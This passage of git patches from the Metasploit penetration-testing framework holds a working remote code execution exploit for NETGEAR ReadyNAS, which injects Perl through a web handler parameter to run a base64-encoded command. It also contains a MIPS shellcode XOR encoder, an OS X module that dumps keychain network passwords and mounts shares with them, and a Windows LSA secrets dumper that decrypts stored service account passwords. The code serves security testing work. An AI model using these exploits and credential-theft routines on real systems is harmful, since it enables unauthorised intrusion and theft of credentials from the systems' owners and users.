'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl telnet' + } + }, + 'Targets' => + [ + [ 'NETGEAR ReadyNAS 4.2.23', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 12 2013' + )) + + end + + def send_request_payload(payload) + res = send_request_cgi({ + 'uri' => normalize_uri("/np_handler", ""), + 'vars_get' => { + 'PAGE' =>'Nasstate', + 'OPERATION' => 'get', + 'SECTION' => payload + } + }) + return res + end + + def check + res = send_request_payload(")") + if res and res.code == 200 and res.body =~ /syntax error at \(eval/ + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")" + print_status("#{peer} - Executing payload...") + send_request_payload(my_payload) + end + +end From dd094eee04b8a3ca9422082e516bf800b53bb202 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 24 Oct 2013 16:30:26 -0500 Subject: [PATCH 016/217] Use 443 by default with SSL --- modules/exploits/linux/http/netgear_readynas_exec.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index caefabdd17..14326d1f31 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -59,6 +59,11 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => 'Jul 12 2013' )) + register_options( + [ + Opt::RPORT(443) + ], self.class) + end def send_request_payload(payload) From c92e8ff98dc6d0f0ed6b31b097bc3219d46418f9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Oct 2013 19:34:54 -0500 Subject: [PATCH 017/217] Delete extra space --- modules/exploits/linux/http/netgear_readynas_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/netgear_readynas_exec.rb b/modules/exploits/linux/http/netgear_readynas_exec.rb index 14326d1f31..7dd63676a4 100644 --- a/modules/exploits/linux/http/netgear_readynas_exec.rb +++ b/modules/exploits/linux/http/netgear_readynas_exec.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Craig Young ', # Vulnerability discovery + 'Craig Young', # Vulnerability discovery 'hdm', # diff the patch 'juan vazquez' # Metasploit module ], From 594ee4239867d8973a28a15e2e2d03e38f3efa17 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 2 Nov 2013 10:10:51 -0500 Subject: [PATCH 018/217] Add byte xori mipsbe encoder --- modules/encoders/mipsbe/byte_xori.rb | 146 +++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 modules/encoders/mipsbe/byte_xori.rb diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb new file mode 100644 index 0000000000..b5647b87ca --- /dev/null +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'metasm' + + +class Metasploit3 < Msf::Encoder::Xor + + Rank = NormalRanking + + def initialize + super( + 'Name' => 'Byte XORi Encoder', + 'Description' => %q{ + Mips Web server exploit friendly xor encoder. This encoder has been found useful on + situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS + architectures, this one is based on the xori instruction. + }, + 'Author' => + [ + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez' # byte_xori encoder + ], + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Decoder' => + { + 'KeySize' => 1, + 'BlockSize' => 1, + 'KeyPack' => 'C', + }) + end + + # + # Returns the decoder stub that is adjusted for the size of the buffer + # being encoded. + # + def decoder_stub(state) + + # add 4 number of passes for the space reserved for the key, at the end of the decoder stub + # (see commented source) + number_of_passes=state.buf.length+4 + raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766 + + # 16-bits not (again, see also commented source) + reg_14 = (number_of_passes+1)^0xFFFF + + decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), < "\x02\xee\xf0\x2b", # set less than unsigned + "slt $30, $23, $14" => "\x02\xee\xf0\x2a" # set less than + } + + instructions.each do |k,v| + if Rex::Text.badchar_index(v, state.badchars) == nil + return k + end + end + + raise BadcharError.new, + "The #{self.name} encoder failed to encode the decoder stub without bad characters.", + caller + end + + def encode_finalize_stub(state, stub) + # Including the key into the stub by ourselves because it should be located + # in the last 4 bytes of the decoder stub. In this way decoding will convert + # these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports + # one decoder_key_offset position + real_key = state.key + stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) + stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) + stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) + stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) + return stub + end + +end From 049111cd94628d59969e9f43c74b6b5af577adba Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 11:21:39 +0100 Subject: [PATCH 019/217] In progress --- modules/post/osx/manage/mount_share.rb | 134 +++++++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/post/osx/manage/mount_share.rb diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb new file mode 100644 index 0000000000..fb04cc9810 --- /dev/null +++ b/modules/post/osx/manage/mount_share.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + + def initialize(info={}) + super( update_info( info, + 'Name' => 'OSX ', + 'Description' => %q{ + This module lists VPN connections and tries to connect to them using stored credentials. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Peter Toth ' + ], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Actions' => [ + [ 'LIST', { 'Description' => 'Show a list of VPN connections' } ], + [ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ], + [ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ] + ], + 'DefaultAction' => 'LIST' + )) + + register_options( + [ + OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), + OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), + OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) + ], self.class) + + end + + STR_CONNECTED = '* (Connected)' + STR_DISCONNECTED = '* (Disconnected)' + + def run + fail_with("Invalid action") if action.nil? + + if action.name == 'LIST' + data = get_vpn_list() + connected_names = parse_vpn_connection_names(data, true) + disconnected_names = parse_vpn_connection_names(data, false) + if connected_names.length > 0 + print_status("VPN Connections Status: UP") + connected_names.each do |vpn_name| + print_good(' ' + vpn_name) + end + end + if disconnected_names.length > 0 + print_status("VPN Connections Status: DOWN") + disconnected_names.each do |vpn_name| + print_good(' ' + vpn_name) + end + end + elsif action.name == 'CONNECT' + connect_vpn(true) + elsif action.name == 'DISCONNECT' + connect_vpn(false) + end + end + + def get_vpn_list() + vprint_status(datastore['SCUTIL_PATH'].shellescape + " --nc list") + data = cmd_exec(datastore['SCUTIL_PATH'].shellescape + " --nc list") + return data + end + + def parse_vpn_connection_names(data, show_up) + lines = data.split(/\n/).map(&:strip) + connection_names = Array.new() + + lines.each do |line| + if show_up && line.start_with?(STR_CONNECTED) + connection_names.push(line.split('"')[1]) + elsif !show_up && line.start_with?(STR_DISCONNECTED) + connection_names.push(line.split('"')[1]) + end + end + return connection_names + end + + def connect_vpn(up) + vpn_name = datastore['VPN_CONNECTION'] + if up + header = "Connecting to VPN: #{vpn_name}" + connection_state = STR_CONNECTED + connection_unnecessary = "#{vpn_name} already connected" + else + header = "Disconnecting from VPN: #{vpn_name}" + connection_state = STR_DISCONNECTED + connection_unnecessary = "#{vpn_name} already disconnected" + end + + print_status(header) + data = get_vpn_list() + lines = data.split(/\n/).map(&:strip) + + identifier = nil + lines.each do |line| + if line.split('"')[1] == vpn_name + if line.start_with?(connection_state) + print_status(connection_unnecessary) + return + end + identifier = line.split(' ')[2] + break + end + end + + if identifier.nil? + print_error("#{vpn_name} not found") + return + end + + if up + cmd = datastore['NETWORKSETUP_PATH'].shellescape + " -connectpppoeservice '#{vpn_name}'" + else + cmd = datastore['SCUTIL_PATH'].shellescape + " --nc stop #{identifier}" + end + vprint_status(cmd) + cmd_exec(cmd) + end +end From 76660b858c80e399e3e0a93d92316109b57d6f9b Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 12:32:49 +0100 Subject: [PATCH 020/217] In progress --- modules/post/osx/manage/mount_share.rb | 118 +++++++++---------------- 1 file changed, 40 insertions(+), 78 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index fb04cc9810..a48cda8d20 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -13,9 +13,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'OSX ', + 'Name' => 'OSX Network Share Mounter', 'Description' => %q{ - This module lists VPN connections and tries to connect to them using stored credentials. + This module lists saved network shares and tries to connect to them using stored credentials. }, 'License' => MSF_LICENSE, 'Author' => @@ -25,109 +25,71 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ - [ 'LIST', { 'Description' => 'Show a list of VPN connections' } ], - [ 'CONNECT', { 'Description' => 'Connect to a VPN using stored credentials' } ], - [ 'DISCONNECT', { 'Description' => 'Disconnect from a VPN' } ] + [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], + [ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], + [ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ - OptString.new('VPN_CONNECTION', [true, 'Name of VPN connection. `set ACTION LIST` to get a list.', 'OSX_VPN']), - OptString.new('SCUTIL_PATH', [true, 'Path to the scutil executable.', '/usr/sbin/scutil']), - OptString.new('NETWORKSETUP_PATH', [true, 'Path to the networksetup executable.', '/usr/sbin/networksetup']) + OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), + OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), + OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), + OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) ], self.class) end - STR_CONNECTED = '* (Connected)' - STR_DISCONNECTED = '* (Disconnected)' - def run fail_with("Invalid action") if action.nil? if action.name == 'LIST' - data = get_vpn_list() - connected_names = parse_vpn_connection_names(data, true) - disconnected_names = parse_vpn_connection_names(data, false) - if connected_names.length > 0 - print_status("VPN Connections Status: UP") - connected_names.each do |vpn_name| - print_good(' ' + vpn_name) - end - end - if disconnected_names.length > 0 - print_status("VPN Connections Status: DOWN") - disconnected_names.each do |vpn_name| - print_good(' ' + vpn_name) + data = get_share_list() + if data.length == 0 + print_status("No Network Share credentials were found in the keyrings") + else + print_status("Protocol\tShare Name") + data.each do |line| + print_good(line) end end elsif action.name == 'CONNECT' - connect_vpn(true) + connect() elsif action.name == 'DISCONNECT' connect_vpn(false) end end - def get_vpn_list() - vprint_status(datastore['SCUTIL_PATH'].shellescape + " --nc list") - data = cmd_exec(datastore['SCUTIL_PATH'].shellescape + " --nc list") - return data - end - - def parse_vpn_connection_names(data, show_up) - lines = data.split(/\n/).map(&:strip) - connection_names = Array.new() - - lines.each do |line| - if show_up && line.start_with?(STR_CONNECTED) - connection_names.push(line.split('"')[1]) - elsif !show_up && line.start_with?(STR_DISCONNECTED) - connection_names.push(line.split('"')[1]) + def get_share_list() + vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") + data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") + # Grep for desc srvr and ptcl + tmp = Array.new() + data.split("\n").each do |line| + unless line !~ /desc|srvr|ptcl/ + tmp.push(line) end end - return connection_names - end - - def connect_vpn(up) - vpn_name = datastore['VPN_CONNECTION'] - if up - header = "Connecting to VPN: #{vpn_name}" - connection_state = STR_CONNECTED - connection_unnecessary = "#{vpn_name} already connected" - else - header = "Disconnecting from VPN: #{vpn_name}" - connection_state = STR_DISCONNECTED - connection_unnecessary = "#{vpn_name} already disconnected" - end - - print_status(header) - data = get_vpn_list() - lines = data.split(/\n/).map(&:strip) - - identifier = nil - lines.each do |line| - if line.split('"')[1] == vpn_name - if line.start_with?(connection_state) - print_status(connection_unnecessary) - return - end - identifier = line.split(' ')[2] - break + # Go through the list, find the saved Network Password descriptions + # and their corresponding ptcl and srvr attributes + list = Array.new() + for x in 0..tmp.length-1 + if tmp[x] =~ /"desc"="Network Password"/ + protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') + server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') + list.push(protocol + "\t" + server) end end + return list.sort + end - if identifier.nil? - print_error("#{vpn_name} not found") - return - end - - if up - cmd = datastore['NETWORKSETUP_PATH'].shellescape + " -connectpppoeservice '#{vpn_name}'" - else - cmd = datastore['SCUTIL_PATH'].shellescape + " --nc stop #{identifier}" - end + def connect() + share_name = datastore['SHARE'].shellescape + protocol = datastore['PROTOCOL'].shellescape + print_status("Connecting to #{protocol}://#{share_name}") + cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end From 0c096c10fb31eac1f04330c3a311344f9168f64b Mon Sep 17 00:00:00 2001 From: Peter Toth Date: Wed, 13 Nov 2013 17:03:38 +0100 Subject: [PATCH 021/217] Submitting first version for pull request --- modules/post/osx/manage/mount_share.rb | 72 +++++++++++++++++++------- 1 file changed, 53 insertions(+), 19 deletions(-) diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index a48cda8d20..0cf1ac3415 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'OSX Network Share Mounter', 'Description' => %q{ - This module lists saved network shares and tries to connect to them using stored credentials. + This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges. }, 'License' => MSF_LICENSE, 'Author' => @@ -26,15 +26,15 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], - [ 'CONNECT', { 'Description' => 'Connect to a network share using stored credentials' } ], - [ 'DISCONNECT', { 'Description' => 'Disconnect a mounted volume' } ] + [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], + [ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ] ], 'DefaultAction' => 'LIST' )) register_options( [ - OptString.new('SHARE', [true, 'Name of network share connection. `set ACTION LIST` to get a list.', 'localhost']), + OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']), OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']), OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']), OptString.new('PROTOCOL', [true, 'Network share protocol. `set ACTION LIST` to get a list.', 'smb']) @@ -46,37 +46,51 @@ class Metasploit3 < Msf::Post fail_with("Invalid action") if action.nil? if action.name == 'LIST' - data = get_share_list() - if data.length == 0 + saved_shares = get_share_list + if saved_shares.length == 0 print_status("No Network Share credentials were found in the keyrings") else + print_status("Network shares saved in keyrings:") print_status("Protocol\tShare Name") - data.each do |line| + saved_shares.each do |line| print_good(line) end end - elsif action.name == 'CONNECT' - connect() - elsif action.name == 'DISCONNECT' - connect_vpn(false) + mounted_shares = get_mounted_list + if mounted_shares.length == 0 + print_status("No volumes found in /Volumes") + else + print_status("Mounted Volumes:") + mounted_shares.each do |line| + print_good(line) + end + end + elsif action.name == 'MOUNT' + mount + elsif action.name == 'UNMOUNT' + unmount end end - def get_share_list() + def get_share_list vprint_status(datastore['SECURITY_PATH'].shellescape + " dump") data = cmd_exec(datastore['SECURITY_PATH'].shellescape + " dump") # Grep for desc srvr and ptcl - tmp = Array.new() - data.split("\n").each do |line| + tmp = [] + lines = data.lines + lines.each do |line| + line.strip! unless line !~ /desc|srvr|ptcl/ tmp.push(line) end end # Go through the list, find the saved Network Password descriptions # and their corresponding ptcl and srvr attributes - list = Array.new() + list = [] for x in 0..tmp.length-1 - if tmp[x] =~ /"desc"="Network Password"/ + if tmp[x] =~ /"desc"="Network Password"/ && x < tmp.length-3 + # Remove everything up to the double-quote after the equal sign, + # and also the trailing double-quote protocol = tmp[x+1].gsub(/^.*\=\"/, '').gsub(/\w*\"\w*$/, '') server = tmp[x+2].gsub(/^.*\=\"/, '').gsub(/\"\w*$/, '') list.push(protocol + "\t" + server) @@ -85,12 +99,32 @@ class Metasploit3 < Msf::Post return list.sort end - def connect() - share_name = datastore['SHARE'].shellescape - protocol = datastore['PROTOCOL'].shellescape + def get_mounted_list + vprint_status("ls /Volumes") + data = cmd_exec("ls /Volumes") + list = [] + lines = data.lines + lines.each do |line| + line.strip! + list << line + end + return list.sort + end + + def mount + share_name = datastore['VOLUME'] + protocol = datastore['PROTOCOL'] print_status("Connecting to #{protocol}://#{share_name}") cmd = "osascript -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'" vprint_status(cmd) cmd_exec(cmd) end + + def unmount + share_name = datastore['VOLUME'] + print_status("Disconnecting from #{share_name}") + cmd = "osascript -e 'tell app \"finder\" to eject \"#{share_name}\"'" + vprint_status(cmd) + cmd_exec(cmd) + end end From 3168359a8280e09ce6dfdd7a3fe52b40b3b542a0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 11:55:39 -0600 Subject: [PATCH 022/217] Refactor lsa and add a spec for its crypto methods --- lib/msf/core/post/windows/priv.rb | 47 ++++--- .../post/windows/gather/credentials/lsa.rb | 115 +++++++++--------- spec/lib/msf/core/post/windows/priv_spec.rb | 69 +++++++++++ 3 files changed, 151 insertions(+), 80 deletions(-) create mode 100644 spec/lib/msf/core/post/windows/priv_spec.rb diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 831120b5f0..c19045076f 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -92,7 +92,11 @@ module Msf::Post::Windows::Priv basekey = "System\\CurrentControlSet\\Control\\Lsa" %W{JD Skew1 GBG Data}.each do |k| - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + begin + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + rescue Rex::Post::Meterpreter::RequestError + end + return nil if not ok bootkey << [ok.query_class.to_i(16)].pack("V") ok.close @@ -155,26 +159,24 @@ module Msf::Post::Windows::Priv # Returns the LSA key upon input of the unscrambled bootkey # def capture_lsa_key(bootkey) - begin - vprint_status("Getting PolSecretEncryptionKey...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) - pol = ok.query_value("").data - vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") - ok.close + vprint_status("Getting PolSecretEncryptionKey...") + pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "") + if pol print_status("XP or below client") @vista = 0 - rescue + else vprint_status("Trying 'V72' style...") vprint_status("Getting PolEKList...") - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) - pol = ok.query_value("").data - vprint_good("Pol: #{pol.unpack("H*")[0]}") - ok.close + pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "") print_status("Vista or above client") @vista = 1 end + # If that didn't work, then we're out of luck + return nil if pol.nil? - if( @vista == 1 ) + vprint_good("Pol: #{pol.unpack("H*")[0]}") + + if @vista == 1 lsakey = decrypt_lsa_data(pol, bootkey) lsakey = lsakey[68,32] vprint_good(lsakey.unpack("H*")[0]) @@ -194,13 +196,15 @@ module Msf::Post::Windows::Priv return lsakey end - # # Decrypts the LSA encrypted data # - def decrypt_lsa_data(pol, encryptedkey) + # @param pol [String] The policy key stored in the registry + # @param encrypted_key [String] + # @return [String] The decrypted data + def decrypt_lsa_data(pol, encrypted_key) sha256x = Digest::SHA256.new() - sha256x << encryptedkey + sha256x << encrypted_key (1..1000).each do sha256x << pol[28,32] end @@ -216,17 +220,20 @@ module Msf::Post::Windows::Priv aes.decrypt aes.padding = 0 xx = aes.update(pol[i...i+16]) - decrypted_data += xx + decrypted_data << xx end - vprint_good("Dec_Key #{decrypted_data}") return decrypted_data end # Decrypts "Secret" encrypted data - # Ruby implementation of SystemFunction005 - # the original python code has been taken from Credump # + # Ruby implementation of SystemFunction005. The original python code + # has been taken from Credump + # + # @param secret [String] + # @param key [String] + # @return [String] The decrypted data def decrypt_secret_data(secret, key) j = 0 diff --git a/modules/post/windows/gather/credentials/lsa.rb b/modules/post/windows/gather/credentials/lsa.rb index 5466a72af9..2042730817 100644 --- a/modules/post/windows/gather/credentials/lsa.rb +++ b/modules/post/windows/gather/credentials/lsa.rb @@ -30,79 +30,70 @@ class Metasploit3 < Msf::Post )) end - def reg_getvaldata(key,valname) - v = nil - begin - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - vprint_status("reading key: #{key}#{valname}\n") - v = open_key.query_value(valname).data - open_key.close - rescue - print_error("Error opening key!") - end - return v - end + # Decrypted LSA key is passed into this function + def get_secret(lsa_key) + output = "\n" - #Decrypted LSA key is passed into this function - def get_secret(lkey) - sec_str = "\n" + # LSA Secret key location within the registry + root_regkey = "HKLM\\Security\\Policy\\Secrets\\" + services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" - #LSA Secret key location within the register - root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\" + secrets = registry_enumkeys(root_regkey) - key_arr = meterpreter_registry_enumkeys(root_key) + secrets.each do |secret_regkey| + sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) + next unless sk_arr - key_arr.each do |keys| - mid_key = root_key + "\\" + keys - sk_arr = meterpreter_registry_enumkeys(mid_key) sk_arr.each do |mkeys| - #CurrVal stores the currently set value of the key, in the case of - #services it usually come out as plan text - if(mkeys == "CurrVal") - val_key = root_key + "\\" + keys + "\\" + mkeys - v_name = "" - sec = reg_getvaldata(val_key, v_name) - if( @vista == 1 ) - #Magic happens here - sec = sec[0..-1] - sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join - else - #and here - sec = sec[0xC..-1] - sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join - end + # CurrVal stores the currently set value of the key. In the case + # of services, this is usually the password for the service + # account. + next unless mkeys == "CurrVal" - if(sec.length > 0) - if(keys[0,4] == "_SC_") - user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" - keys_c = keys[4,keys.length] - user_key = user_key << keys_c - n_val = "ObjectName" - user_n = reg_getvaldata(user_key, n_val) + val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys + encrypted_secret = registry_getvaldata(val_key, "") - #if the unencrypted value is not blank and is a service, print - print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n" - else - #if the unencrypted value is not blank, print - print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") - sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" - end - else - next - end + if @vista == 1 + # Magic happens here + decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) + else + # and here + encrypted_secret = encrypted_secret[0xC..-1] + decrypted = decrypt_secret_data(encrypted_secret, lsa_key) + end + + next unless decrypted.length > 0 + + # axe all the non-printables + decrypted = decrypted.scan(/[[:print:]]/).join + + if secret_regkey.start_with?("_SC_") + # Service secrets are named like "_SC_yourmom" for a service + # with name "yourmom". Strip off the "_SC_" to get something + # we can lookup in the list of services to find out what + # account this secret is associated with. + svc_name = secret_regkey[4,secret_regkey.length] + svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") + + # if the unencrypted value is not blank and is a service, print + print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") + output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" + else + # if the unencrypted value is not blank, print + print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") + output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" end end end - return sec_str + + return output end # The sauce starts here def run - hostname = session.sys.config.sysinfo['Computer'] + hostname = sysinfo['Computer'] print_status("Executing module against #{hostname}") print_status('Obtaining boot key...') @@ -110,10 +101,14 @@ class Metasploit3 < Msf::Post vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") print_status('Obtaining Lsa key...') - lsakey = capture_lsa_key(bootkey) - vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}") + lsa_key = capture_lsa_key(bootkey) + if lsa_key.nil? + print_error("Could not retrieve LSA key. Are you SYSTEM?") + return + end + vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") - secrets = hostname << get_secret(lsakey) + secrets = hostname + get_secret(lsa_key) print_status("Writing to loot...") diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb new file mode 100644 index 0000000000..9cfb6ebc9f --- /dev/null +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/post/windows/priv' + +describe Msf::Post::Windows::Priv do + + subject do + mod = Module.new + mod.extend described_class + mod.stub :vprint_status + mod.stub :print_status + mod + end + + # For Vista and newer + describe "#decrypt_lsa_data" do + let(:ciphertext) do + # From "HKLM\\Security\\Policy\\Secrets\\" + "\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+ + "\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+ + "\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+ + "\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+ + "\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+ + "\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + let(:lsa_key) do + "\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+ + "\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43" + end + let(:plaintext) do + # Length of actual data? + "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ + # Unicode msfadmin + "\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+ + # As far as I can tell, the rest of the data is gibberish? + # Possibly random padding, since plaintext seems to always be a + # multiple of 16 bytes. + "\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e" + end + + it "should produce expected plaintext" do + decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key) + decrypted.should == plaintext + end + end + + # For XP and older + describe "#decrypt_secret_data" do + let(:ciphertext) do + # From "HKLM\\Security\\Policy\\Secrets\\" + "\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" + + "\x37\x4b\x84\xea\xa0\xc0\x96\x61" + end + let(:boot_key) do + "\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56" + end + let(:plaintext) do + # Unicode "msfadmin" + "\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00" + end + + it "should produce expected plaintext" do + subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext + end + end + +end From 16627c1bd30df36c184864f10f974392a11c41c8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 13 Nov 2013 15:16:34 -0600 Subject: [PATCH 023/217] Add spec for capture_lsa_key --- lib/msf/core/post/windows/priv.rb | 40 ++++++------- .../post/windows/gather/credentials/lsa.rb 